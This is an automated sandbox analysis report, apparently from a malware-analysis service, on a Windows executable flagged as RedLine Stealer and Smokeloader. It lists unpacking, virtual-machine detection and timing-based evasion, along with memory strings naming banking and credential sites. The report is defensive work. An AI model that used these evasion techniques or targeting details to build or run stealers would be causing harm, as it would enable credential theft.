Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00429A5B	0_2_00429A5B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00410218	0_2_00410218
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00410A33	0_2_00410A33
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00414A83	0_2_00414A83
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0044234A	0_2_0044234A
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040136E	0_2_0040136E
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00457B30	0_2_00457B30
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00428334	0_2_00428334
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041EBEB	0_2_0041EBEB
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00415C7E	0_2_00415C7E
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00418413	0_2_00418413
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043A4FE	0_2_0043A4FE
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00424C8D	0_2_00424C8D
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043BCA4	0_2_0043BCA4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00416548	0_2_00416548
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00439535	0_2_00439535
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041764A	0_2_0041764A
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043D600	0_2_0043D600
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004126B9	0_2_004126B9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00429730	0_2_00429730
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00434FAC	0_2_00434FAC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEE2EA	0_2_02EEE2EA
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F042E7	0_2_02F042E7
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF9ADA	0_2_02EF9ADA
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE52D7	0_2_02EE52D7
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F112BE	0_2_02F112BE
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE22B4	0_2_02EE22B4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EDBA83	0_2_02EDBA83
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F18A67	0_2_02F18A67
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFD221	0_2_02EFD221
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F05213	0_2_02F05213
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F003F5	0_2_02F003F5
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EDDBFB	0_2_02EDDBFB
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F2D3C1	0_2_02F2D3C1
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F193C2	0_2_02F193C2
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE33D4	0_2_02EE33D4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EDE3B5	0_2_02EDE3B5
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EDAB8F	0_2_02EDAB8F
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EDB390	0_2_02EDB390
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFC341	0_2_02EFC341
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0DB37	0_2_02F0DB37
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F010D3	0_2_02F010D3
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFD8BF	0_2_02EFD8BF
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE78B1	0_2_02EE78B1
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0908F	0_2_02F0908F
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0D867	0_2_02F0D867
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF9997	0_2_02EF9997
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE2920	0_2_02EE2920
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE5EE5	0_2_02EE5EE5
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF9EE2	0_2_02EF9EE2
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF4EF4	0_2_02EF4EF4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED26DD	0_2_02ED26DD
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE867A	0_2_02EE867A
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEEE52	0_2_02EEEE52
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFAFE9	0_2_02EFAFE9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE67AF	0_2_02EE67AF
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0979C	0_2_02F0979C
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0A765	0_2_02F0A765
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0BF0B	0_2_02F0BF0B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF9CC2	0_2_02EF9CC2
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFF4DF	0_2_02EFF4DF
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEC4D7	0_2_02EEC4D7
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEB4B8	0_2_02EEB4B8
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F1F4AB	0_2_02F1F4AB
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEACB0	0_2_02EEACB0
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0048F	0_2_02F0048F
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EE047F	0_2_02EE047F
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED6472	0_2_02ED6472
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF7C47	0_2_02EF7C47
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EED450	0_2_02EED450
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFBC2C	0_2_02EFBC2C
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED6C08	0_2_02ED6C08
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEFC0B	0_2_02EEFC0B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0B5C9	0_2_02F0B5C9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFA5D4	0_2_02EFA5D4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F125B1	0_2_02F125B1
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF859B	0_2_02EF859B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED5540	0_2_02ED5540
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F06D43	0_2_02F06D43
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED5D11	0_2_02ED5D11

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Process token adjusted: Load Driver

Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: String function: 00438E28 appears 39 times
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: String function: 02EDE3B5 appears 36 times
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: String function: 0043D070 appears 51 times
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: String function: 02EDA905 appears 38 times
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: String function: 0040E14E appears 52 times
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: String function: 004360E1 appears 144 times
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: String function: 02F0D2D7 appears 50 times

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1708

Source: I2BJhmJou4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.3246383027.0000000002F69000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@0/1

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_02F69F2E CreateToolhelp32Snapshot,Module32First,

0_2_02F69F2E

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7500

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\98cb422e-58a4-48c6-adc8-84ceefbc0aca

Jump to behavior

Source: I2BJhmJou4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.0000000005659000.00000004.00000020.00020000.00000000.sdmp, I2BJhmJou4.exe, 00000000.00000002.3247217603.0000000004FF8000.00000004.00000020.00020000.00000000.sdmp, I2BJhmJou4.exe, 00000000.00000002.3247217603.0000000005008000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: I2BJhmJou4.exe

ReversingLabs: Detection: 84%

Source: unknown	Process created: C:\Users\user\Desktop\I2BJhmJou4.exe "C:\Users\user\Desktop\I2BJhmJou4.exe"
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1708

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: my-global-render.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Unpacked PE file: 0.2.I2BJhmJou4.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Unpacked PE file: 0.2.I2BJhmJou4.exe.400000.0.unpack

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00464074 push B000468Ch; retn 0044h	0_2_00464079
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00463CAD push esi; ret	0_2_00463CB6
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00403D6C push eax; mov dword ptr [esp], 00000000h	0_2_00403D71
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00452768 push ecx; ret	0_2_0045277B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F229CF push ecx; ret	0_2_02F229E2
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED3FD3 push eax; mov dword ptr [esp], 00000000h	0_2_02ED3FD8

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00401FF9 Sleep,ExitProcess,	0_2_00401FF9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00401FF9 Sleep,ExitProcess,	0_2_00401FF9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED2260 Sleep,ExitProcess,	0_2_02ED2260

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_0-74297
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-74297

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_00429EF7 rdtsc

0_2_00429EF7

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,

0_2_0041F9A4

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-74312

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00451F08 FindFirstFileExW,	0_2_00451F08
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00451FBC FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00451FBC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F22223 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_02F22223
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F2216F FindFirstFileExW,	0_2_02F2216F

Source: I2BJhmJou4.exe, 00000000.00000003.2003155936.0000000005072000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: I2BJhmJou4.exe, 00000000.00000002.3246415805.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, I2BJhmJou4.exe, 00000000.00000002.3247217603.0000000005034000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: I2BJhmJou4.exe, 00000000.00000002.3246415805.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWjV
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
